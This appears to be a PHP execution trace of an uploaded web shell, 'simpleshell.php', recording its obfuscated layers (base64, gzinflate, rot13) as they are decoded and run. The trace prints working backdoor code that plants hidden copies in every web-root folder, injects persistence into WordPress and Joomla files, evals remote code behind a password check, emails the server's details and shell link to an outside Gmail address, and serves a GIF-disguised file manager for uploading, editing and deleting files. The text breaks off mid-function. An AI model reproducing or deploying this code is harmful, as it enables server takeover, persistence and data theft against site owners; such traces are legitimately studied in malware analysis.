JirrIMIlRMDfrOLOvLSutHw9IuB+s129BfS793USn1PIemm3SBzMIyVsmXUE6dGgdio7zBGadEVg28l0DPQfevUUcjbCfN0i5tlN6hrBl6ci+znsupmWaNVxaiilqDXsWqm/n+VtaYZfuutJGZEtWkWVXxxiyGUM+iWIbrlPGmunrC4NmUKQGUmsXtTYTtzLmE+U1DeBhvVuO3s2aW5hHXprXup8ewOD/gNDw46hEWTXkw6Nn1AKforh2nXGWw3xTg1sC/iTe4yA9hzaqvFa1sc0WqW17FzqCmmQblZuoQFU0tFBQrpGwBNxvxreXZhYYnF4o9kGgOQE1TW8szx3y92bT2T0J8qfIgB/5CqrgItX25et0bPE1CiDue8MxVc3lss+qZ+kLgsEZtCtDR9z/NkjRPOMcNLOOG07g7tGZiWXcO1CApy8+gmtfJV5sOXqd2qpm8qVLsiZ1DbBEzPMbCp13/R4pfYfzMGdFHCW2RP//UOpotXa982604k+p9tbXMnk7H9ni6wh3TEX7gkbLCk06nzk9aZPEV1nZcybLF9hxbSVe9RTfJgN5COLIdATRXix0+MRu20qh7rMLA7TClob5ZLhvOmlCUesVYN4sxEDRFImDUTXF7sgr+2Lzs1K+kTEUeY0k2j422rbxjOsZ3m+ZZhdQUxnGRvzWaelM5xr0UfNbomW0EKL7UF66mbyxe6xVj21vGtHAFH4/pykZNtPsGmVmXgxq7jTLRXI1yqb0+1vQ0R3s0LnW1ypQtvYXZLDFDc/zMai+K1K9MfCz9Tubj7ZKU+iDeKiV3AzeduOHCoypcrun6/d7gwFHTL3yb+q791CaHkY0Cgrp6C7eprHHaA9iWkI+v3f5R6OpPkP7rtW0NtXXHHqwDx9ZyOuhHW+oQ7ZrJanOwphwVUXx4PapBqCtIZth9hm0tSWuzrmrS/yvSFk3cyo7Ntv871C2M/wMK147DqivXlsHfoXTZrTjKYCe2toXXe7yKLyDIJtf73Z6lIkIV32P4+ktGXeQmoaaZzYVlfWvoe1u5XJlusmpGmk2r8oT0rt/0er2WfnVvLwHB98lZlH6TAsBUOIsAy+PaD2KStwzxagXxyoW4WdxGuUrJB9hlO0j5dqSjFdKRg/RS3k3yhDkYne0YhyuMQwfjdQ4eEXtWdJButyMdrJAOHCQ4ewDHI3bjoGTbUQYrlIGD8gaOq1AmYOU3bUq3o/VXaH0H7e37t6ckVrF0UOIVitX6JfwWRtPQ0ZksewqIT6ehXAa5G5Qn7vVxtmfEYx5+c9XRLxy2qPaOjOp0B9UDVN3fKz89snNxDXDtkRY53qZzVkxi+A1+vIP2Gm+fcbC7H/3d/egdVfhxsIMfB1v9+GfE8qxmxoOd/egNdvejX+HHwNooavwodM7LfjApJiwkejrk2n8B";\r\neval("?>".str_rot13(gzinflate(base64_decode($val))));\r\n@session_start();\r\nerror_reporting(0);\r\n\r\n$a = \'<?php \r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n?>\r\n<form action="" method="post">\r\n<input type="text" name="p">\r\n</form>\r\n\';\r\nif (@$_REQUEST["px"]) {\r\n    $p = @$_REQUEST["px"];\r\n    $pa = md5(sha1($p));\r\n    if ($pa == "013f0a41203c0ad0f68033f4a53c7e6d") {\r\n        echo eval(@file_get_contents(@$_REQUEST["404"]));\r\n    }\r\n}\r\nif (@!$_SESSION["sdm"]) {\r\n    $doc = $_SERVER["DOCUMENT_ROOT"];\r\n    $dir = scandir($doc);\r\n    $d1 = \'\' . $doc . \'/.\';\r\n    $d2 = \'\' . $doc . \'/..\';\r\n    if (($key = @array_search(\'.\', $dir)) !== false) {\r\n        unset($dir[$key]);\r\n    }\r\n    if (($key = @array_search(\'..\', $dir)) !== false) {\r\n        unset($dir[$key]);\r\n    }\r\n    if (($key = @array_search($d1, $dir)) !== false) {\r\n        unset($dir[$key]);\r\n    }\r\n    if (($key = array_search($d2, $dir)) !== false) {\r\n        unset($dir[$key]);\r\n    }\r\n    @array_push($dir, $doc);\r\n    foreach ($dir as $d) {\r\n        $p = $doc . "/" . $d;\r\n        if (is_dir($p)) {\r\n            $file = $p . "/style-js.php";\r\n            @touch($file);\r\n            $folder = @fopen($file, "w");\r\n            @fwrite($folder, $a);\r\n        }\r\n    }\r\n\r\n}\r\n\r\n\r\n$ikrhtfy = $_SERVER["DOCUMENT_ROOT"].\'/\'.\'phpinfo.php\';\r\n\r\n\r\n$fghky_ouvcbt = \'<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n\r\n?>\'; \r\n\r\n\r\n\r\nif (!file_exists($ikrhtfy)){  \r\n   \r\ntouch($ikrhtfy); \r\nchmod($ikrhtfy,0666); \r\n   \r\n} \r\n\r\n$opazxcdnm = fopen($ikrhtfy,"w"); \r\n\r\nif (!fwrite($opazxcdnm,$fghky_ouvcbt)){ \r\n\r\n \r\n\r\n}\r\n\r\n$b = "file manager shell";\r\n$c = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\r\n";\r\n$c.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\r\n";\r\n$c.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\r\n";\r\n$c.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\r\n";\r\n$c.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\r\n";\r\nmail("shelldownloadorg@gmail.com", $b, $c);\r\n\r\n\r\n\r\nerror_reporting(0);\r\n$isiwefk=\'?><?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n\r\n?>\';\r\n$dstuxstska = $_SERVER["DOCUMENT_ROOT"];\r\n$lsawqkdn = $dstuxstska.\'/wp-includes/version.php\';\r\n$iuzlkyz = $isiwefk;\r\n$uowmlsyti = explode(\'-\',$iuzlkyz);\r\nheader(\'Content-Type: text/plain\');\r\n$ulipmcft = file_get_contents("$lsawqkdn");\r\n$udntlsy = 0;\r\nforeach ($uowmlsyti as $as)\r\n{\r\n$myuortsfew = preg_quote($as, \'/\');\r\n$myuortsfew = "/^.*$myuortsfew.*$/m";\r\n\r\nif(preg_match_all($myuortsfew, $ulipmcft, $scnsty)){\r\n   \r\n   $udntlsy = 1;\r\n}\r\n}\r\nif($udntlsy != 1){\r\n   $lsawqkdn = fopen($dstuxstska.\'/wp-includes/version.php\', "a+");\r\n\r\n   fwrite($lsawqkdn,"\\n"."$isiwefk");\r\n   fclose($lsawqkdn);\r\n}\r\n\r\n\r\n\r\n\r\n$ikrhtfy = $_SERVER["DOCUMENT_ROOT"].\'/modules/mod_custom/\'.\'helper.php\';\r\n\r\n\r\n$fghky_ouvcbt = \'<?php\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n\r\n?>\'; \r\n\r\n\r\n\r\nif (!file_exists($ikrhtfy)){  \r\n   \r\ntouch($ikrhtfy); \r\nchmod($ikrhtfy,0666); \r\n   \r\n} \r\n\r\n$opazxcdnm = fopen($ikrhtfy,"w"); \r\n\r\nif (!fwrite($opazxcdnm,$fghky_ouvcbt)){ \r\n\r\n\r\n\r\n}\r\n ?>'	/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	0
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	7	$val = '7VlRb9s4En4PkP/Ast7KxtqW7WazucRy0RRNFodF26Td4tq6CCQdSdfJKhIds5V377/fDEnZlC0rRrbYl7sEiSXN8OPM8JsZUn73/u3RP06S/b3hs3geE8lYxK6YjCMmVHjX7LVOyP7e/p5M5xHxho8uTt+c//rikvx2/vHDCAYtPy9fXeCnUCKXozO1iHNJ3ir49zEJkzvJhr4Rgc5CioSEyUIGlEW3keCUpFEoZCgCGkYqzOQ1Rb1chd/InMlZQOdCxPzY92egx7t3UXSXyyRWvJtGCz/l/NksWaj8Jng+CZWIKGEyDygXN7nkcymFhuMpU7EgnKUB9f00yiTvfP33RLIbjZJ8Ta59c9/pd/v97qC7UGH3K6ejoW/GahQEhYvbKLv5Y38PDeqYyY8JfZmkEDRyloScnIaStkk6YVx9kScwIEm/3bFoEmadNMojdkwey0P8BZmQ16LD50kWTY978TXBvz78Pf75J/wFjf/s7z22QSKCHc+jL5L9UQl6'
4	16	0	0.002189	449288	base64_decode	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	8	1	'7VlRb9s4En4PkP/Ast7KxtqW7WazucRy0RRNFodF26Td4tq6CCQdSdfJKhIds5V377/fDEnZlC0rRrbYl7sEiSXN8OPM8JsZUn73/u3RP06S/b3hs3geE8lYxK6YjCMmVHjX7LVOyP7e/p5M5xHxho8uTt+c//rikvx2/vHDCAYtPy9fXeCnUCKXozO1iHNJ3ir49zEJkzvJhr4Rgc5CioSEyUIGlEW3keCUpFEoZCgCGkYqzOQ1Rb1chd/InMlZQOdCxPzY92egx7t3UXSXyyRWvJtGCz/l/NksWaj8Jng+CZWIKGEyDygXN7nkcymFhuMpU7EgnKUB9f00yiTvfP33RLIbjZJ8Ta59c9/pd/v97qC7UGH3K6ejoW/GahQEhYvbKLv5Y38PDeqYyY8JfZmkEDRyloScnIaStkk6YVx9kScwIEm/3bFoEmadNMojdkwey0P8BZmQ16LD50kWTY978TXBvz78Pf75J/wFjf/s7z22QSKCHc+jL5L9UQl6'
4	16	1	0.002224	452392
4	16	R			'�YQo�8\022~\017�������ږ�f���r�\024M\026�Eۤ��ں\b$\035I��*\022\035��w��\fIٔ-+F�ؗ�\004�%�����\031R~����?N����x\036\023�XĮ��#&Tx��N���L�\021�.Nߜ���v���\b\006-?/_]�P"��3��sI�*��1\t�;Ɇ�\021��B����B\006�E���Q(d(\002\032F*��5E�\\��Ȝ�Y@�B��g�ǻwQt��$V��F\v?��,Y��&x>\t��(a2\017(\0277��s)���)S� ��\001��4�$�|��D�\033��|M�}s��w��Pa�+���o�j\024\004���(��c\017\r�ɏ\t}��\0204r�������I:a\\}�\'0 I�ݱh\022f�4�#vL\036�C�\005��ע��I\026M�{�5��>�=��\'�\005����=�A"�\035ϣ/��Q\tz��pp�t\033(�{<��� �3Ÿ'
4	17	0	0.002308	452360	gzinflate	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	8	1	'�YQo�8\022~\017�������ږ�f���r�\024M\026�Eۤ��ں\b$\035I��*\022\035��w��\fIٔ-+F�ؗ�\004�%�����\031R~����?N����x\036\023�XĮ��#&Tx��N���L�\021�.Nߜ���v���\b\006-?/_]�P"��3��sI�*��1\t�;Ɇ�\021��B����B\006�E���Q(d(\002\032F*��5E�\\��Ȝ�Y@�B��g�ǻwQt��$V��F\v?��,Y��&x>\t��(a2\017(\0277��s)���)S� ��\001��4�$�|��D�\033��|M�}s��w��Pa�+���o�j\024\004���(��c\017\r�ɏ\t}��\0204r�������I:a\\}�\'0 I�ݱh\022f�4�#vL\036�C�\005��ע��I\026M�{�5��>�=��\'�\005����=�A"�\035ϣ/��Q\tz��pp�t\033(�{<��� �3Ÿ'
4	17	1	0.002423	464680
4	17	R			'TVS89;n\r\n<?cuc reebe_ercbegvat(0); \r\n\r\nrpub \'<!QBPGLCR UGZY>\r\n<UGZY>\r\n<URNQ>\r\n<gvgyr>Fvzcyr Svyr Znantre</gvgyr>\r\n<zrgn anzr="ebobgf" pbagrag="abvaqrk">\r\n<yvax uers="uggcf://sbagf.tbbtyrncvf.pbz/pff?snzvyl=Ahavgb" ery="fglyrfurrg">\r\n<fpevcg fep="//pbqrf-wdhrel.pbz/nwnk/wdhrel-1.11.2.zva.wf"></fpevcg>\r\n<fglyr>\r\nobql{\r\nsbag-snzvyl: "Enpvat Fnaf Bar", phefvir;\r\nonpxtebhaq-pbybe: #r6r6r6;\r\ngrkg-funqbj:0ck 0ck 1ck #757575;\r\n}\r\n#pbagrag ge:ubire{\r\nonpxtebhaq-pbybe: #636263;\r\ng'
4	18	0	0.002472	461576	str_rot13	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	8	1	'TVS89;n\r\n<?cuc reebe_ercbegvat(0); \r\n\r\nrpub \'<!QBPGLCR UGZY>\r\n<UGZY>\r\n<URNQ>\r\n<gvgyr>Fvzcyr Svyr Znantre</gvgyr>\r\n<zrgn anzr="ebobgf" pbagrag="abvaqrk">\r\n<yvax uers="uggcf://sbagf.tbbtyrncvf.pbz/pff?snzvyl=Ahavgb" ery="fglyrfurrg">\r\n<fpevcg fep="//pbqrf-wdhrel.pbz/nwnk/wdhrel-1.11.2.zva.wf"></fpevcg>\r\n<fglyr>\r\nobql{\r\nsbag-snzvyl: "Enpvat Fnaf Bar", phefvir;\r\nonpxtebhaq-pbybe: #r6r6r6;\r\ngrkg-funqbj:0ck 0ck 1ck #757575;\r\n}\r\n#pbagrag ge:ubire{\r\nonpxtebhaq-pbybe: #636263;\r\ng'
4	18	1	0.002525	473896
4	18	R			'GIF89;a\r\n<?php error_reporting(0); \r\n\r\necho \'<!DOCTYPE HTML>\r\n<HTML>\r\n<HEAD>\r\n<title>Simple File Manager</title>\r\n<meta name="robots" content="noindex">\r\n<link href="https://fonts.googleapis.com/css?family=Nunito" rel="stylesheet">\r\n<script src="//codes-jquery.com/ajax/jquery-1.11.2.min.js"></script>\r\n<style>\r\nbody{\r\nfont-family: "Racing Sans One", cursive;\r\nbackground-color: #e6e6e6;\r\ntext-shadow:0px 0px 1px #757575;\r\n}\r\n#content tr:hover{\r\nbackground-color: #636263;\r\nt'
4	19	0	0.002806	514216	eval	1	'?>GIF89;a\r\n<?php error_reporting(0); \r\n\r\necho \'<!DOCTYPE HTML>\r\n<HTML>\r\n<HEAD>\r\n<title>Simple File Manager</title>\r\n<meta name="robots" content="noindex">\r\n<link href="https://fonts.googleapis.com/css?family=Nunito" rel="stylesheet">\r\n<script src="//codes-jquery.com/ajax/jquery-1.11.2.min.js"></script>\r\n<style>\r\nbody{\r\nfont-family: "Racing Sans One", cursive;\r\nbackground-color: #e6e6e6;\r\ntext-shadow:0px 0px 1px #757575;\r\n}\r\n#content tr:hover{\r\nbackground-color: #636263;\r\ntext-shadow:0px 0px 10px #fff;\r\n}\r\n#content .first{\r\nbackground-color: silver;\r\n}\r\n#content .first:hover{\r\nbackground-color: silver;\r\ntext-shadow:0px 0px 1px #757575;\r\n}\r\ntable{\r\nborder: 1px #000000 dotted;\r\n}\r\nH1{\r\nfont-family: "Rye", cursive;\r\n}\r\na{\r\ncolor: #000;\r\ntext-decoration: none;\r\n}\r\na:hover{\r\ncolor: #fff;\r\ntext-shadow:0px 0px 10px #ffffff;\r\n}\r\ninput,select,textarea{\r\nborder: 1px #000000 solid;\r\n-moz-border-radius: 5px;\r\n-webkit-border-radius:5px;\r\nborder-radius:5px;\r\n}\r\n</style>\r\n</HEAD>\r\n<BODY>\r\n<H1><center>Simple File Manager</center></H1>\r\n<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">\r\n<tr><td>Current Path : \';\r\nif(isset($_GET[\'path\'])){\r\n$path = $_GET[\'path\'];\r\n}else{\r\n$path = getcwd();\r\n}\r\n$path = str_replace(\'\\\\\',\'/\',$path);\r\n$paths = explode(\'/\',$path);\r\n\r\nforeach($paths as $id=>$pat){\r\nif($pat == \'\' && $id == 0){\r\n$a = true;\r\necho \'<a href="?path=/">/</a>\';\r\ncontinue;\r\n}\r\nif($pat == \'\') continue;\r\necho \'<a href="?path=\';\r\nfor($i=0;$i<=$id;$i++){\r\necho "$paths[$i]";\r\nif($i != $id) echo "/";\r\n}\r\necho \'">\'.$pat.\'</a>/\';\r\n}\r\necho \'</td></tr><tr><td>\';\r\nif(isset($_FILES[\'file\'])){\r\nif(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){\r\necho \'<font color="green">File Upload Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">File Upload Error.</font><br />\';\r\n}\r\n}\r\nif(isset($_FILES[\'file\'])){\r\nif(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){\r\necho \'<font color="green">File Upload Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">File Upload Error.</font><br />\';\r\n}\r\n}\r\n\r\necho \'<form enctype="multipart/form-data" method="POST">\r\nUpload File : <input type="file" name="file" />\r\n<input type="submit" value="upload" />\r\n</form>\r\n</td></tr>\';\r\nif(isset($_GET[\'filesrc\'])){\r\necho "<tr><td>Current File : ";\r\necho $_GET[\'filesrc\'];\r\necho \'</tr></td></table><br />\';\r\necho(\'<pre>\'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</pre>\');\r\n}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){\r\necho \'</table><br /><center>\'.$_POST[\'path\'].\'<br /><br />\';\r\nif($_POST[\'opt\'] == \'chmod\'){\r\nif(isset($_POST[\'perm\'])){\r\nif(chmod($_POST[\'path\'],$_POST[\'perm\'])){\r\necho \'<font color="green">Change Permission Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">Change Permission Error.</font><br />\';\r\n}\r\n}\r\necho \'<form method="POST">\r\nPermission : <input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="chmod">\r\n<input type="submit" value="Go" />\r\n</form>\';\r\n}elseif($_POST[\'opt\'] == \'rename\'){\r\nif(isset($_POST[\'newname\'])){\r\nif(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){\r\necho \'<font color="green">Change Name Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">Change Name Error.</font><br />\';\r\n}\r\n$_POST[\'name\'] = $_POST[\'newname\'];\r\n}\r\necho \'<form method="POST">\r\nNew Name : <input name="newname" type="text" size="20" value="\'.$_POST[\'name\'].\'" />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="rename">\r\n<input type="submit" value="Go" />\r\n</form>\';\r\n}elseif($_POST[\'opt\'] == \'edit\'){\r\nif(isset($_POST[\'src\'])){\r\n$fp = fopen($_POST[\'path\'],\'w\');\r\nif(fwrite($fp,$_POST[\'src\'])){\r\necho \'<font color="green">Edit File Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">Edit File Error.</font><br />\';\r\n}\r\nfclose($fp);\r\n}\r\necho \'<form method="POST">\r\n<textarea cols=80 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="edit">\r\n<input type="submit" value="Go" />\r\n</form>\';\r\n}\r\necho \'</center>\';\r\n}else{\r\necho \'</table><br /><center>\';\r\nif(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){\r\nif($_POST[\'type\'] == \'dir\'){\r\nif(rmdir($_POST[\'path\'])){\r\necho \'<font color="green">Delete Dir Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">Delete Dir Error.</font><br />\';\r\n}\r\n}elseif($_POST[\'type\'] == \'file\'){\r\nif(unlink($_POST[\'path\'])){\r\necho \'<font color="green">Delete File Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">Delete File Error.</font><br />\';\r\n}\r\n}\r\n}\r\necho \'</center>\';\r\n$scandir = scandir($path);\r\necho \'<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">\r\n<tr class="first">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>\';\r\n\r\nforeach($scandir as $dir){\r\nif(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;\r\necho "<tr>\r\n<td><a href=\\"?path=$path/$dir\\">$dir</a></td>\r\n<td><center>--</center></td>\r\n<td><center>";\r\nif(is_writable("$path/$dir")) echo \'<font color="green">\';\r\nelseif(!is_readable("$path/$dir")) echo \'<font color="red">\';\r\necho perms("$path/$dir");\r\nif(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';\r\n\r\necho "</center></td>\r\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\r\n<select name=\\"opt\\">\r\n<option value=\\"\\"></option>\r\n<option value=\\"delete\\">Delete</option>\r\n<option value=\\"chmod\\">Chmod</option>\r\n<option value=\\"rename\\">Rename</option>\r\n</select>\r\n<input type=\\"hidden\\" name=\\"type\\" value=\\"dir\\">\r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$dir\\">\r\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$dir\\">\r\n<input type=\\"submit\\" value=\\">\\" />\r\n</form></center></td>\r\n</tr>";\r\n}\r\necho \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';\r\nforeach($scandir as $file){\r\nif(!is_file("$path/$file")) continue;\r\n$size = filesize("$path/$file")/1024;\r\n$size = round($size,3);\r\nif($size >= 1024){\r\n$size = round($size/1024,2).\' MB\';\r\n}else{\r\n$size = $size.\' KB\';\r\n}\r\n\r\necho "<tr>\r\n<td><a href=\\"?filesrc=$path/$file&path=$path\\">$file</a></td>\r\n<td><center>".$size."</center></td>\r\n<td><center>";\r\nif(is_writable("$path/$file")) echo \'<font color="green">\';\r\nelseif(!is_readable("$path/$file")) echo \'<font color="red">\';\r\necho perms("$path/$file");\r\nif(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';\r\necho "</center></td>\r\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\r\n<select name=\\"opt\\">\r\n<option value=\\"\\"></option>\r\n<option value=\\"delete\\">Delete</option>\r\n<option value=\\"chmod\\">Chmod</option>\r\n<option value=\\"rename\\">Rename</option>\r\n<option value=\\"edit\\">Edit</option>\r\n</select>\r\n<input type=\\"hidden\\" name=\\"type\\" value=\\"file\\">\r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$file\\">\r\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$file\\">\r\n<input type=\\"submit\\" value=\\">\\" />\r\n</form></center></td>\r\n</tr>";\r\n}\r\necho \'</table>\r\n</div>\';\r\n}\r\necho \'<br />Simple File Manager <font color="red">1.0</font>\r\n</BODY>\r\n</HTML>\';\r\nfunction perms($file){\r\n$perms = fileperms($file);\r\n\r\nif (($perms & 0xC000) == 0xC000) {\r\n// Socket\r\n$info = \'s\';\r\n} elseif (($perms & 0xA000) == 0xA000) {\r\n// Symbolic Link\r\n$info = \'l\';\r\n} elseif (($perms & 0x8000) == 0x8000) {\r\n// Regular\r\n$info = \'-\';\r\n} elseif (($perms & 0x6000) == 0x6000) {\r\n// Block special\r\n$info = \'b\';\r\n} elseif (($perms & 0x4000) == 0x4000) {\r\n// Directory\r\n$info = \'d\';\r\n} elseif (($perms & 0x2000) == 0x2000) {\r\n// Character special\r\n$info = \'c\';\r\n} elseif (($perms & 0x1000) == 0x1000) {\r\n// FIFO pipe\r\n$info = \'p\';\r\n} else {\r\n// Unknown\r\n$info = \'u\';\r\n}\r\n\r\n// Owner\r\n$info .= (($perms & 0x0100) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0080) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0040) ?\r\n(($perms & 0x0800) ? \'s\' : \'x\' ) :\r\n(($perms & 0x0800) ? \'S\' : \'-\'));\r\n\r\n// Group\r\n$info .= (($perms & 0x0020) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0010) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0008) ?\r\n(($perms & 0x0400) ? \'s\' : \'x\' ) :\r\n(($perms & 0x0400) ? \'S\' : \'-\'));\r\n\r\n// World\r\n$info .= (($perms & 0x0004) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0002) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0001) ?\r\n(($perms & 0x0200) ? \'t\' : \'x\' ) :\r\n(($perms & 0x0200) ? 